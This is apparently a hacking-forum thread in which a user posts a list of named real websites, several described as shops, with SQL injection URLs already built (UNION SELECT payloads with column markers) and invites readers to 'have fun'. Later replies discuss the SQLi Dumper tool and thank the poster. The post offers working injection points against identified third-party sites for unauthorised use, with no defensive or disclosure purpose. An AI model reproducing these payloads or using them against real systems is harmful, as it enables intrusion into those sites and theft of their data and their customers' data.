TXT Few easily SQL Injectable sites, have fun...

[NullSafe]

There are some shops and some private pages.

    https://www.futronic-tech.com/pro-detail.php?pro_id=999999.9 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,[t],19,20,21,22,23,24,25,26,27,28,29
    https://www.tntgear.com/catalog/product-detail.php?ID=999999.9 union all select 1,2,3,[t],5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
    http://italdecorltd.com/catalog/main.php?cat_id=206999999.9' union all select 1,2,3,4,5,6,[t],8,9,10,11,12,13 and '1'='1
    http://www.hiltpewter.com/category.php?cid=[t]&currpg=7   
    https://ibs.worldagroforestry.org/category.php?id=18999999.9' union all select 1,[t],3 and '1'='1
    https://diptera.info/infusions/book_panel/books.php?bookid=999999.9 union all select [t]
    http://www.meggieschneider.com/php/detail.php?id=999999.9 union all select [t],2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
    http://antmed.com/en/productlist.php?ParentID=1&SortID=21 and 1=1 union all select [t],2,3,4,5,6,7

 

[nexxxt]

SQLi Dumper seems to be still a thing, isn't it outdated now? What's the current version?

 

[NullSafe]

SQLi Dumper seems to be still a thing, isn't it outdated now? What's the current version?

Haha it's probably not really a thing. But to answer your question the developer did the last update 6 months ago: https://github.com/AngelSecurityTeam/SQLiDumper-AngelSecurityTeam
I decided to test if it still can do something, and it actually can. Not the best results, but seems to work.

 

[mosses]

thanks for sharing them, did you do manual sqli or automated dumper?

 

[mrabdox]

thanks